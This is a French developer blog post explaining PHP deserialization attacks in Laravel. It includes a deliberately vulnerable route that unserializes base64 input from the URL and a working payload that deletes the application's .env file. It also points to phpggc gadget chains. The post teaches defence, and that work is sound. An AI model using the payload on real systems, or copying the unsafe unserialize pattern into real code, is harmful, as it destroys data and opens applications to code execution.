Les failles RCE dans Laravel

Publié le 30 mai 2022 par Mathieu De Gracia
Couverture de l'article Les failles RCE dans Laravel

Les failles SQL et XSS sont probablement les plus courantes en PHP, à la fois simple à détecter et à exploiter elles sont pourtant délétères pour nos applications.

Mais connaissez-vous les failles RCE ?

Une faille RCE (Remote Code Execution) consiste à injecter puis exécuter arbitrairement du code dans une application.

Ces failles quoi que complexes à mettre en oeuvre ne sont pas moins extrêmement dangereuses.

Voyons comment exploiter l’une d’entre elles dans une application Laravel.

Un peu de magie pour commencer

Une instance de class en PHP dispose de tout un lot de méthodes magiques.

Ces méthodes interviennent sans que vous le sachiez forcement à plusieurs moments clés, elles rythmes la vie d’une instance de class.

Vous connaissez probablement __construct ou même __destruct qui respectivement s’exécutent à l’instanciation d’un objet et à la fin de votre script.

D’autres moins connues vous permettent d’interagir avec l’objet à des moments clés de son cycle de vie : invoke, wakeup, sleep

Toutes ces méthodes s’exécutent de manière implicite d'où leur sobriquet ✨ magique ✨.

Par exemple, vous n’utilisez pas directement la méthode __get() mais en contactant la propriété d'un l'objet :

1class Foo
2{
3 public function __get($name)
4 {
5 echo $name;
6 }
7}
8 
9(new Foo())->bar; // bar

C’est le caractère “magique” de ces méthodes qui les rend dangereuses et imprévisibles et qui nous permettra un peu plus tard de mettre en place une faille RCE.

La serialization

La serialization est une fonctionnalité de PHP permettant de transformer une instance de class en une chaine de caractères.

1class Foo
2{
3 public function __construct(
4 protected $bar,
5 ){}
6}
7 
8$foo = new Foo('Hello');
9 
10echo serialize($foo); // O:3:"Foo":1:{s:6:"*bar";s:5:"Hello";}

La chaine de caractère ainsi obtenue est une représentation textuelle de l’instance de notre objet.

la serialization offre une façon efficace de stocker / transporter une instance

Nous pouvons rapidement identifier quelques informations importantes en analysant cette chaine de caractères.

On y retrouve entre autres le nom de notre class ainsi que la valeur de ses propriétés.

En somme, cette chaine de caractères contient toutes les informations essentielles permettant de recréer une instance identique de notre class grace à la fonction unserialize !

1$foo = unserialize('O:3:"Foo":1:{s:6:"*bar";s:5:"Hello";}');
2 
3echo $foo->bar; // Hello

Nous venons de voir qu’une class en PHP avait des méthodes qui s’exécutaient “toutes seules” et que la serialization permettait de transformer une instance en une chaine de caractères.

Nous avons désormais tous les ingrédients nécessaires pour préparer une faille RCE.

Exploitation d’une faille RCE

Imaginons que vous développez cette application Laravel.

D’une part, cette application possède un service permettant de préparer une liste de fichiers à supprimer.

Ce service utilise une méthode magique __destruct pour supprimer les fichiers uniquement à la fin de l’exécution du script.

1<?php
2 
3namespace App;
4 
5class PurgeService
6{
7 protected array $files = [];
8 
9 public function addFile(string $file): void
10 {
11 $this->files[] = $file;
12 }
13 
14 public function __destruct()
15 {
16 array_map(fn($file) => unlink($file), $this->files);
17 }
18}

Attention à l'utilisation de unlink pour supprimer un fichier, contrairement à Storage il ne protege pas d'un directory traversal

D'une seconde part, cette application possède une route récupérant une chaine de caractères depuis l'URL en base64 et qui la désérialise.

1Route::get('rce-exploit', function (Request $request) {
2 $payload = $request->payload;
3 unserialize(base64_decode($payload)); // plz never do that
4 echo 'hello !';
5});

Désormais, cliquez sur cette URL :

1http://localhost:8089/rce-exploit?payload=TzoxNjoiQXBwXFB1cmdlU2VydmljZSI6MTp7czo1OiJmaWxlcyI7YToxOntpOjA7czo5OiIuLy4uLy5lbnYiO319

Bingo, vous venez de subir une belle faille RCE … et le fichier .env de votre application n'existe plus !

Comment ça marche

Le payload que vous venez de désérialiser n’est pas anodin.

Il représente la base64 d’une chaine savamment préparée pour attaquer votre application.

En connaissant la structure de votre projet, l’attaquant n’a plus qu’à chercher dans votre code une class utilisant une méthode magique à exploiter, dans notre situation la class PurgeService offre un vecteur d’attaque simple à utiliser.

Désormais, il suffit à l’attaquant de réécrire cette class faillible de son coté, de l'instancier avec des propriétés problématiques puis de sérialiser l'instance pour finalement l'encoder en base64 pour générer le payload.

1<?php
2 
3namespace App;
4 
5class PurgeService
6{
7 public array $files = [
8 './../.env',
9 ];
10}
11 
12$class = new PurgeService();
13 
14$payload = base64_encode(serialize($class));
15 
16echo $payload; // TzoxNjoiQXBwXFB1cmdlU2VydmljZSI6MTp7czo1OiJmaWxlcyI7YToxOntpOjA7czo5OiIuLy4uLy5lbnYiO319

En désérialisant ce payload dans notre application faillible, la class PurgeService sera instanciée avec une propriété $files déjà initialisée et contenant un fichier sensible.

À la fin de l’exécution du script, la class fera son office en exécutant sa méthode __destruct ce qui provoquera la suppression du fichier que l’attaquant aura au préalable sélectionné dans le payload.

Félicitations, vous venez d’exploiter une faille RCE !

Une faille dangereuse

Notre précédent exemple nécessitait l’écriture d’une class PurgeService volontairement problématique mais bien souvent le vecteur d’attaque ne sera pas l’une de vos classes … mais une class du vendor !

Laravel connut par le passé plusieurs failles RCE et certaines sont même encore actives.

Récemment, Il s’est avéré que les class Routing, PendingBroadcast ou bien encore FileCookieJar offraient des vecteurs d’attaques exploitable pour une désérialisation malveillante.

Pour creuser davantage, le package ambionics/phpggc contient une liste de payload facilement accessible pour tester les injections de votre framework.

Après avoir cloné le projet, vous pouvez voir toutes les injections possibles dans Laravel à l’aide de la commande :

1phpggc -l laravel

Comment s'en prémunir

Ne venons de voir qu’exploiter une faille RCE était quelque chose de complexe.

L’attaquant doit connaitre la structure de votre projet, au minimum la version du framework que vous utilisez, créer un payload correspond à votre application et finalement trouvé une manière de l’exécuter dans un unserialize.

La probabilité d’une faille RCE est faible mais sa gravité est élevée

Une chose est sûre, pour s’en prémunir, ne jamais désérialiser une chaine qui ne provient pas d’un acteur de confiance.

Mais par moment ces failles proviendront de l’une de vos dépendances, cachée au fin fond de votre vendor, une attention particulière et des librairies à jour seront donc toujours nécessaires pour se protéger des failles RCE.

Source : https://github.com/laravel-fr/support-laravel-rce-exploit
Mathieu De Gracia avatar
Mathieu De Gracia
Des fois, mon chat code à ma place 🐱

A lire

Autres articles de la même catégorie